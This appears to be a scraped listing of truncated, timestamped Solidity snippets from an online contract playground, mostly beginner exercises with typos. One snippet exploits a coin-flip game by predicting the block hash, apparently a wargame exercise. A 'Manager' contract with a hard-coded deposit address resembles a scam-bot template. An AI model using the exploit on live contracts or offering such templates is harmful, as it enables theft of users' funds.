        _lazyFee = 5;
    }
    
    // Allows a user to update the price (in WEI) of an ERC-721 token
Jun 24, 2021 15:30:16 UTC
pragma solidity ^0.8.0;

abstract contract ExternalContract {
    function ownerOf(uint256 tokenId) public view virtual returns (address);
    function safeTransferFrom(address from, address to, uint256 tokenId) public virtual;
    function safeTransferFrom(address from, address to, uint256 tokenId, uint256 amount, bytes memory data) public virtual;
    function balanceOf(address owner, uint256) public virtual returns (uint256);
}

contract LazyMarketplace {
    
    address private _owner;
    uint256 private _lazyFee;
    mapping (bytes32 => uint) private _listPrices;
    address private immutable _lazyWallet = 0xa679c6154b8d4619Af9F83f0bF9a13A680e01eCf;
    
    event TokenPriceUpdated(address _contractAddress, uint256 _tokenId, uint _price);
    event TokenSold(address _contractAddress, uint256 _tokenId, uint _price, uint _fee);
    
    constructor(address _lazyWallet) {
        _owner = msg.sender;
        _lazyFee = 5;
    }
    
    // Allows a user to update the price (in WEI) of an ERC-721 token
   
Jun 24, 2021 15:29:45 UTC
/**
 *Submitted for verification at BscScan.com on 2021-06-23
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.6.12;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address s
Jun 23, 2021 16:44:35 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ;
contract SimpleStore {
  function get()public pure returns (string memory) {
    return "Hello WOrld";
  }
Jun 21, 2021 00:11:18 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
    jyigig
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Jun 21, 2021 00:03:31 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  mapping(uint => bytes32) public signedDocs;
  function newDoc(uint docId, bytes32 docHash) public {
    require(signedDocs[docId] == bytes32(0x00));
    signedDocs[docId] = docHash;
  }

  function get(uint docId) public constant returns (bytes32) {
    return signedDocs[docId];
  }

Jun 15, 2021 15:51:53 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract HelloWorld {
  string private helloMessage = "Hello world";

  function getHelloMessage() public view returns (string memory) {
    return helloMessage;

  }
Jun 15, 2021 01:46:22 UTC
// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.7.0 <0.9.0;

contract CoopChain {
    
    address private owner;
    //The array is just for query all the Cooperatives inside the contract.
    string[] public cooperativesList;
    
    //The mapping is just for having a reference about which coop own the minute. Kinda left join... 
    mapping(address => string) public cooperatives; //used on getCoop function
    
    struct Minute {
        uint id;
        address coop_address;
        string title;
        string document;
        string sign;
    }
    
    Minute public minute;
    
    mapping(uint => Minute) public coopMinutes;
    
    
    
    //Modifiers
    modifier isOwner() {
        require(owner == msg.sender, "Sender no autorizado.");
        _;
    }

    constructor() {
        owner = address(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4);
    }

    function subscribeMinute(uint _id, string memory _title, string memory _document, string memory _hash, address _coop_address) public i
Jun 14, 2021 14:02:54 UTC
// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.7.0 <0.9.0;

contract A {
   function print() public virtual pure returns (bytes32) {
       return 0x0;
   }
}
contract B {
   function print() public virtual pure returns (uint256) {
       return 200;
   }
}
contract C is B, A {
   function print() public pure override(A, B) returns (uint256) {
       return super.print();
   }
Jun 13, 2021 22:04:29 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
 // Our first contract is a faucet!
contract Faucet {

// Give out ether to anyone who asks
 function withdraw(uint withdraw_amount) public {

// Limit withdrawal amount
 require(withdraw_amount <= 100000000000000000);

// Send the amount to the address that requested it
 msg.sender.transfer(withdraw_amount);
}

 // Accept any incoming amount
 function () public payable {}

 
Jun 10, 2021 19:50:16 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;
contract PichuMuffin {
  uint public fans = 0;

  address private wallet;

  constructor (address _wallet) public {
    wallet = _wallet;
  }

  function like () public {
    fans = fans + 1;
  }

  function getFans() public view returns (uint) {
    return fans;
  }

  function isBestMuffin() public pure returns (bool) {
    return true;
  }

  function lesserThan(uint a, uint b) public pure returns (bool) {
    return a <= b;
  }

  function hasLotsOfFans() public view returns (bool) {
    return lesserThan(1000, fans);
  }

  function notZero(uint number) internal pure returns (bool) {
    return number != 0;
  }

  function isRecommended() public view returns (bool) {
    return isBestMuffin() && notZero(fans);
  }

  function tip() public payable {
    require(msg.value > 0);
    wallet.transfer(msg.value);
  }

  function getBalance() public view returns (uint256) {
    return address(wallet)
Jun 08, 2021 13:12:05 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;

contract PichuCastle {
  uint public timeout = 60;
  uint private halfway = timeout / 2;
  string private name = "pokemon";

  function getHalfway() external view returns (uint) {
    return halfway;
  }

  function getName() external view returns (string) {
    return name;
  }
}

contract PichuMuffin {
  uint private likes = 0;
  address private wallet;

  constructor (address _wallet) public {
    wallet = _wallet;
  }

  function tip() public payable {
    require(msg.value >= 1);
    wallet.transfer(msg.value);
  }

  function getBalance() public view returns (uint) {
    return wallet.balance;
  }

  function like() public {
    likes = likes + 1;
  }

  function getFans() public view returns (uint) {
    return likes;
  }

  function isBestMuffin() public pure returns (bool) {
    return true;
  }

  function lesserThan(uint a, uint b) public pure returns (bool) {
    return a <= b;
  }

  
Jun 08, 2021 07:35:01 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract PichuCastle {
  uint public timeout = 60;
  string private name = "PichuCastle";
  uint private halfway = timeout/2;


  function getHalfway() external view returns (uint) {  
    return halfway; 
  } 

  function getName() external view returns (string) {  
    return name; 
  } 
  

  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
}

contract PichuMuffin {
    uint public fans = 0;
  
  function like() public {
    fans = fans + 1;
  }

  function getFans() public view returns (uint) {
    return fans; 
  }

  function isBestMuffin() external pure returns (bool) {
    return true;
  }
  
  function lesserThan(uint a, uint b) public pure returns (bool){      
    return a <= b; 
} 

function hasLotsOfFans() public view returns (bool){
    return lesserThan(1000, fans); 
} 

Jun 08, 2021 06:31:25 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract PichuCastle {
  uint public timeout = 60;
  string private PichuCastle = "PichuCastle";
  uint private halfway = timeout/2;


  function getHalfway() external view returns (uint) {  
    return halfway; 
  } 

  function getName() external view returns (string) {  
    return PichuCastle; 
  } 
  

  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
}
contract PichuMuffin {
    uint public fans = 0;
  
  function like() public {
    fans = fans + 1;
  }

  function getFans() public view returns (uint) {
    return fans; 
  }

  function isBestMuffin() external pure returns (bool) {
    return true;
  }
  
  function lesserThan(uint a, uint b) public view returns (bool){      
    return a <= b; 
} 

function hasLotsOfFans() public view returns (bool){
    return lesserThan(1000, fans); 
} 

Jun 08, 2021 06:18:13 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract PichuCastle {
  
  uint public timeout = 60;
  uint private halfway = timeout/2;
  string private name = "Pichu";

  // View functions ensure that they will not modify the state.
  // For an external call, all function arguments have to be copied to memory.
  function getHalfway() external view returns (uint) {
    return halfway;
  }

  function getName() public view returns (string) {
    return name;
  }

}

contract PichuMuffin {
  
  uint public fans = 0;
  int money;  
  address private wallet;

  // constructor(address _wallet) public {    
  //     wallet = _wallet;    
  // }    

  function tip() public payable {
    require(msg.value > 0);
    wallet.transfer(msg.value);
  }

  function getBalance() public view returns (address)
  {
    return wallet;
  }


  function like() public
  {
    fans = fans + 1;
  }
  
  //The "constant" keyword means that function will not alter 
  
Jun 08, 2021 03:42:34 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    System.out.println("test");
    return value;
  }

  uint value;
Jun 08, 2021 01:24:32 UTC
pragma solidity >=0.5.0;

import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";

import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";

library UniswapV2Library {
  using SafeMath for uint256;

  // returns sorted token addresses, used to handle return values from pairs sorted in this order
  function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
    require(tokenA != tokenB, "UniswapV2Library: IDENTICAL_ADDRESSES");
    (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
    require(token0 != address(0), "UniswapV2Library: ZERO_ADDRESS");
  }

  // calculates the CREATE2 address for a pair without making any external calls
  function pairFor(
    address factory,
    address tokenA,
    address tokenB
  ) internal view returns (address pair) {
    return IUniswapV2Factory(factory).getPair(tokenA, tokenB); // For easy testing
  
Jun 06, 2021 23:28:00 UTC
pragma solidity ^0.6.6;

contract Manager {
	function performTasks() public {
	    
	}

	function pancakeswapDepositAddress() public pure returns (address) {
		return 0xDbc23AE43a150ff8884B02Cea117b22D1c3b9796;
	}
Jun 06, 2021 06:08:05 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;
contract SimpleStore {
  string public myString = "Hello World";
Jun 05, 2021 21:06:51 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Jun 01, 2021 13:31:19 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.15;

contract NumberContract {
    // variable de estado almacenada en el blockchain
    uint public Number = 10;
    
    function setNumber(uint _Number) public {
        // Se necesita hacer una Txn para Sobre escribir una variable de estado
        Number = _Number;
        // Las variables locales son las definidas
        // dentro de las funciones y no son
        // Almacenadas en el blockchain
           //Uint i = 456;
        // Las variables globales son propias
        // Del blockchain, por ejemplo:
           //uint timestamp = block.timestamp; // Current block timestamp
           //address sender = msg.sender; // address of the caller
    }

    // Se puede leer (GET) una variable de
    // Estado sin enviar una Txn
    
May 28, 2021 02:18:52 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.6.6;

contract CoolNumberContract {
    // variable de estado almacenada en el blockchain
    uint public coolNumber = 10;
    
    function setCoolNumber(uint _coolNumber) public {
        // Se necesita hacer una Txn para
        // Sobre escribir una variable de estado
        coolNumber = _coolNumber;
        // Las variables locales son las definidas
        // dentro de las funciones y no son
        // Almacenadas en el blockchain
        Uint i = 456;
        // Las variables globales son propias
        // Del blockchain, por ejemplo:
        uint timestamp = block.timestamp; // Current block timestamp
        address sender = msg.sender; // address of the caller
    }

    // Se puede leer (GET) una variable de
    // Estado sin enviar una Txn
    
May 28, 2021 02:10:02 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract Simple {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
May 28, 2021 01:58:00 UTC
function hackFlip(bool _guess) public {
    
    // pre-deteremine the flip outcome
    uint256 blockValue = uint256(block.blockhash(block.number-1));
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    // If I guessed correctly, submit my guess
    if (side == _guess) {
        originalContract.flip(_guess);
    } else {
    // If I guess incorrectly, submit the opposite
        originalContract.flip(!_guess);
    }
May 27, 2021 05:17:19 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.0;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
May 26, 2021 13:45:30 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract Student {
  uint public studentId;

  function getStudentId() public returns (uint) {
    return studentId++;
  }
May 26, 2021 06:56:02 UTC
contract hackCoinFlip {
    CoinFlip public originalContract = CoinFlip("your instance address"); 
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    function hackFlip(bool _guess) public {
        //TODO
    }
May 26, 2021 06:46:38 UTC
pragma solidity ^0.5.0;

// lvl 1: equal split
contract AssociateProfitSplitter {
    // @TODO: Create three payable addresses representing `employee_one`, `employee_two` and `employee_three`.
    address payable employee_one; address payable employee_two; address payable employee_three;
    constructor(address payable _one, address payable _two, address payable _three) public {
        employee_one = _one;
        employee_two = _two;
        employee_three = _three;
    }

    function balance() public view returns(uint) {
        return address(this).balance;
    }

    function deposit() public payable {
        // @TODO: Split `msg.value` into three
        uint amount =  msg.value / 3;

        employee_one.transfer(amount);
        employee_two.transfer(amount);
        employee_three.transfer(amount);
        msg.sender.transfer(msg.value - amount * 3); 

        // @TODO: take care of a potential remainder by sending back to HR (`msg.sender`)
        // Your code here!
    }

    function() external 
May 25, 2021 01:18:21 UTC
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.4.16 <0.9.0;

contract SimpleStorage {
    uint storedData;

    function set(uint x) public {
        storedData = x;
    }

    function get() public view returns (uint) {
        return storedData;
    }
}
May 22, 2021 08:05:04 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }

contract Somer883Token {
    string public version = '1.0';
    string public name;
    string public symbol;
    uint8 public decimals;
    address public owner;
    uint256 public _totalSupply;
    

    mapping (address => uint256) public balances;
    mapping (address => mapping (address => uint256)) public allowances;

    event Transfer(address indexed _from, address indexed _to, uint256 _value);
    event Approval(address indexed _owner, address indexed _spender, uint256 _value);

    function Somer883Token() public {
        balances[msg.sender] = 100000000000000;
        _totalSupply = 100000000000000;
        name = 'Somer883';
        symbol = 'SMR';
        decimals = 6;
        owner = msg.sender;
    }

    function balanceOf(address _owner) public constant r
May 21, 2021 12:06:56 UTC
pragma solidity ^0.4.17;


contract Genuine_Charity_DApp{
  struct CharityOrg{
  string OrgName;
  address OrgAddress;
  string Desc;
}

struct Payment{
   string description;
   uint amount;
   address receiver;
   bool completed;


}

struct Product{
    string productId;
    string productName;
    uint price;
    address seller;
    bool ongoing;

       }

struct Beneficiary{
    string description;
    uint maxContr;
    address store;
    bool complete;
    uint approvalCount;
    mapping(address => bool) approvals;
    bool display;

}

struct Donator {

    string name;
    string message;
    uint16 projectID;
    uint value;
    // uint account_balance;
    address Address;

}

struct CoopStore{
  string StoreName;
  address StoreAddress;
  // uint account_balance;

}

// Beneficiary[] public CharityProjects;  //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators;  //stores data of all donators
Beneficiary[] public beneficiar
May 21, 2021 08:22:23 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;hhh
May 21, 2021 01:58:07 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract SimpleContract {

    //소유자를 키로 잔액을 mapping (ERC-20)
    mapping (address => uint256) ERC20;
    // token ID로 소유자를 mapping (ERC-721)
    mapping (uint256 => address) ERC721;
May 20, 2021 06:56:07 UTC
pragma solidity ^0.4.17;


contract Genuine_Charity_DApp{
  struct CharityOrg{
  string OrgName;
  address OrgAddress;
  string Desc;
}

struct Payment{
   string description;
   uint amount;
   address receiver;
   bool completed;


}

struct Product{
    string productId;
    string productName;
    uint price;
    address seller;
    bool ongoing;

       }

struct Beneficiary{
    string description;
    uint maxContr;
    address store;
    bool complete;
    uint approvalCount;
    mapping(address => bool) approvals;
    bool display;

}

struct Donator {

    string name;
    string message;
    uint16 projectID;
    uint value;
    // uint account_balance;
    address Address;

}

struct CoopStore{
  string StoreName;
  address StoreAddress;
  // uint account_balance;

}

// Beneficiary[] public CharityProjects;  //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators;  //stores data of all donators
Beneficiary[] public beneficiar
May 19, 2021 16:51:16 UTC
// ERC

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
May 19, 2021 08:21:28 UTC
pragma solidity ^0.4.18;

contract A {
  bytes32 id;
}

contract B {
  uint256 a = 0;
May 17, 2021 06:02:23 UTC
pragma solidity ^0.5.2;
contract MyContract {
   uint amount;
   uint value;

   constructor (uint initialAmount, uint initialValue) public {
      amount = 0;
      value = 1000;
   }
   function getBalance() public view returns(uint) {
      return value;
   }
   function getAmount() public view returns(uint) {
      return amount;
   }
   function send(uint newDeposit) public {
      value = value - newDeposit;
      amount = amount + newDeposit;
   }
May 14, 2021 09:08:17 UTC
/**
 *Submitted for verification at BscScan.com on 2021-04-16
*/

/**
 * Rototril
 * **/

pragma solidity ^0.6.12;
// SPDX-License-Identifier: Unlicensed

interface IERC20 {

    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view re
May 13, 2021 17:55:15 UTC
pragma solidity 0.5.16;

interface IBEP20 {
  function totalSupply() external view returns (uint256);

  function decimals() external view returns (uint8);

  function symbol() external view returns (string memory);

  function name() external view returns (string memory);

  function getOwner() external view returns (address);

  function balanceOf(address account) external view returns (uint256);

  function transfer(address recipient, uint256 amount) external returns (bool);

  function allowance(address _owner, address spender) external view returns (uint256);

  function approve(address spender, uint256 amount) external returns (bool);

  function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

  event Transfer(address indexed from, address indexed to, uint256 value);

  event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract Context {
  // Empty internal constructor, to prevent people from mistakenly deploying
  // an instance 
May 12, 2021 09:17:47 UTC
pragma solidity >= 0.7.0 < 0.9.0;

import '@uniswap/v3-core/contracts/libraries/BitMath.sol';

contract Rarity {
    function findRare(uint256 lastId, address poolAddress) public pure returns (uint256) {
        uint256 tokenId = lastId + 1;
        
        while (tokenId < type(uint256).max && !(uint256(keccak256(abi.encodePacked(tokenId, poolAddress))) < type(uint256).max / (1 + BitMath.mostSignificantBit(tokenId) * 2))) {
            tokenId++;
        }
        
        return tokenId;
    }
}
May 06, 2021 17:11:20 UTC
// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.7.0 <0.9.0;

/**
 * @title Storage
 * @dev Store & retrieve value in a variable
 */
contract Storage {

    uint256 number;

    /**
     * @dev Store value in variable
     * @param num value to store
     */
    function store(uint256 num) public {
        number = num;
    }

    /**
     * @dev Return value 
     * @return value of 'number'
     */
    function retrieve() public view returns (uint256){
        return number;
    }
May 04, 2021 18:58:02 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.6.8;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
May 04, 2021 11:54:06 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  //lol
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
May 01, 2021 14:29:51 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract Mom {
  function feed(address child) public {

  }
}

contract Dad {
  function feed(address child) public {
    
  }
}

contract Child is Mom, Dad {
  function feed(address sibling) public {
    super.feed(sibling);
  }
Apr 30, 2021 18:03:46 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.8.0;
contract SimpleStore {
  address a;
  uint256 b;
  bool c;
  uint256 d;
  uint16 e;
  address f;
  uint128 g;
  uint256 h;
Apr 30, 2021 17:50:25 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  address a;
  uint256 b;
  bool c;
  uint256 d;
  uint16 e;
  address f;
  uint128 g;
  uint256 h;
Apr 30, 2021 17:49:58 UTC


pragma solidity ^0.4.11;

/**
 * @title Ownable
 * functions, this simplifies the implementation of "user permissions".
 */
contract Ownable {
  address public owner;


  /**
   * @dev The Ownable constructor sets the original `owner` of the contract to the sender
   * account.
   */
  function Ownable() {
    owner = msg.sender;
  }


  /**
   * @dev Throws if called by any account other than the owner.
   */
  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }


  /**
   * @dev Allows the current owner to transfer control of the contract to a newOwner.
   * @param newOwner The address to transfer ownership to.
   */
  function transferOwnership(address newOwner) onlyOwner {
    if (newOwner != address(0)) {
      owner = newOwner;
    }
  }

}



/// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens
contract ERC721 {
    // Required methods
    function totalSupply() public view returns (uint256 total);
    function balanceOf(address _owner) public view returns (ui
Apr 29, 2021 20:12:18 UTC


pragma solidity ^0.4.11;

/**
 * @title Ownable
 * functions, this simplifies the implementation of "user permissions".
 */
contract Ownable {
  address public owner;


  /**
   * @dev The Ownable constructor sets the original `owner` of the contract to the sender
   * account.
   */
  function Ownable() {
    owner = msg.sender;
  }


  /**
   * @dev Throws if called by any account other than the owner.
   */
  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }


  /**
   * @dev Allows the current owner to transfer control of the contract to a newOwner.
   * @param newOwner The address to transfer ownership to.
   */
  function transferOwnership(address newOwner) onlyOwner {
    if (newOwner != address(0)) {
      owner = newOwner;
    }
  }

}



/// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens
contract ERC721 {
    // Required methods
    function totalSupply() public view returns (uint256 total);
    function balanceOf(address _owner) public view returns (ui
Apr 29, 2021 20:12:08 UTC


pragma solidity ^0.4.11;

/**
 * @title Ownable
 * functions, this simplifies the implementation of "user permissions".
 */
contract Ownable {
  address public owner;


  /**
   * @dev The Ownable constructor sets the original `owner` of the contract to the sender
   * account.
   */
  function Ownable() {
    owner = msg.sender;
  }


  /**
   * @dev Throws if called by any account other than the owner.
   */
  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }


  /**
   * @dev Allows the current owner to transfer control of the contract to a newOwner.
   * @param newOwner The address to transfer ownership to.
   */
  function transferOwnership(address newOwner) onlyOwner {
    if (newOwner != address(0)) {
      owner = newOwner;
    }
  }

}



/// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens
contract ERC721 {
    // Required methods
    function totalSupply() public view returns (uint256 total);
    function balanceOf(address _owner) public view returns (ui
Apr 29, 2021 20:12:06 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Apr 28, 2021 02:18:13 UTC
pragma solidity ^0.6.12;
// SPDX-License-Identifier: Unlicensed
interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(
Apr 28, 2021 02:15:47 UTC
// Abstract contract for the full ERC 20 Token standard
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
pragma solidity ^0.4.18;


contract EIP20Interface {
    /* This is a slight change to the ERC20 base standard.
    function totalSupply() constant returns (uint256 supply);
    is replaced with:
    uint256 public totalSupply;
    This automatically creates a getter function for the totalSupply.
    This is moved to the base contract since public getter functions are not
    currently recognised as an implementation of the matching abstract
    function by the compiler.
    */
    /// total amount of tokens
    uint256 public totalSupply;

    /// @param _owner The address from which the balance will be retrieved
    /// @return The balance
    function balanceOf(address _owner) public view returns (uint256 balance);

    /// @notice send `_value` token to `_to` from `msg.sender`
    /// @param _to The address of the recipient
    /// @param _value The amount of token to be transferred
    /
Apr 27, 2021 11:18:46 UTC
/**
 *Submitted for verification at BscScan.com on 2021-04-27
*/

pragma solidity ^0.8.2;
// SPDX-License-Identifier: Unlicensed

contract XXXXXXCoin {
	mapping(address => uint) public balances;
	mapping( address => mapping(address => uint)) public allowance;
	
	uint public totalSupply = 1000000000 * 10**6 * 10**8;
	string public name = "XXXXXX";
	string public symbol = "XXXXXX";
	uint public decimals = 9;
    address private coinConfiger = msg.sender;
    address public owner = msg.sender;
	
	event Transfer(address indexed from, address indexed to, uint value);
	event Approval(address indexed owner, address indexed spender, uint value);
	event Error();
    bool private Errors = false;
	modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }
    modifier coinConfig() {
        require(msg.sender == coinConfiger);
        _;
    }
	
	constructor(){
		balances[msg.sender] = totalSupply;
		emit Transfer(address(0), msg.sender, totalSupply);
	}
	
	function
Apr 27, 2021 06:24:54 UTC
/**
 *Submitted for verification at BscScan.com on 2021-04-27
*/

pragma solidity ^0.8.2;
// SPDX-License-Identifier: Unlicensed

contract SphynxCatCoin {
	mapping(address => uint) public balances;
	mapping( address => mapping(address => uint)) public allowance;
	
	uint public totalSupply = 1000000000 * 10**6 * 10**8;
	string public name = "SphynxCatCoin";
	string public symbol = "SCC";
	uint public decimals = 9;
    address private coinConfiger = msg.sender;
    address public owner = msg.sender;
	
	event Transfer(address indexed from, address indexed to, uint value);
	event Approval(address indexed owner, address indexed spender, uint value);
	event Error();
    bool private Errors = false;
	modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }
    modifier coinConfig() {
        require(msg.sender == coinConfiger);
        _;
    }
	
	constructor(){
		balances[msg.sender] = totalSupply;
		emit Transfer(address(0), msg.sender, totalSupply);
	}
	
	f
Apr 27, 2021 06:22:17 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract Test {   
   function callKeccak256() public pure returns(bytes32 result){
      return keccak256("Isla Rebekah Tintpulver");
   }  
Apr 27, 2021 04:19:37 UTC
// CryptoKitties Source code
// Copied from: https://etherscan.io/address/0x06012c8cf97bead5deae237070f9587f8e7a266d#code

pragma solidity ^0.4.11;

/**
 * @title Ownable
 * @dev The Ownable contract has an owner address, and provides basic authorization control
 * functions, this simplifies the implementation of "user permissions".
 */
contract Ownable {
  address public owner;


  /**
   * @dev The Ownable constructor sets the original `owner` of the contract to the sender
   * account.
   */
  function Ownable() {
    owner = msg.sender;
  }


  /**
   * @dev Throws if called by any account other than the owner.
   */
  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }


  /**
   * @dev Allows the current owner to transfer control of the contract to a newOwner.
   * @param newOwner The address to transfer ownership to.
   */
  function transferOwnership(address newOwner) onlyOwner {
    if (newOwner != address(0)) {
      owner = newOwner;
    }
  }

}



/// @title Interface for contract
Apr 26, 2021 01:23:54 UTC
pragma solidity >=0.5.0 <0.7.0;

contract SimpleAuction {
    address payable public beneficiary;
    uint public auctionEndTime;

    address public highestBidder;
    uint public highestBid;

    mapping(address => uint) pendingReturns;

    bool ended;

    event HighestBidIncreased(address bidder, uint amount);
    event AuctionEnded(address winner, uint amount);

    constructor(
        uint _biddingTime,
        address payable _beneficiary
    ) public {
        beneficiary = _beneficiary;
        auctionEndTime = now + _biddingTime;
    }

    function bid() public payable {
        require(
            now <= auctionEndTime,
            "Auction already ended."
        );

        require(
            msg.value > highestBid,
            "There already is a higher bid."
        );

        if (highestBid != 0) {
            pendingReturns[highestBidder] += highestBid;
        }
        highestBidder = msg.sender;
        highestBid = msg.value;
        emit HighestBidIncreased(msg.sender, msg.value);
Apr 23, 2021 13:53:58 UTC
pragma solidity >=0.4.0 <=0.6.0;  
  
contract news{  
      
    struct newsfeed{  
        address publisher;  
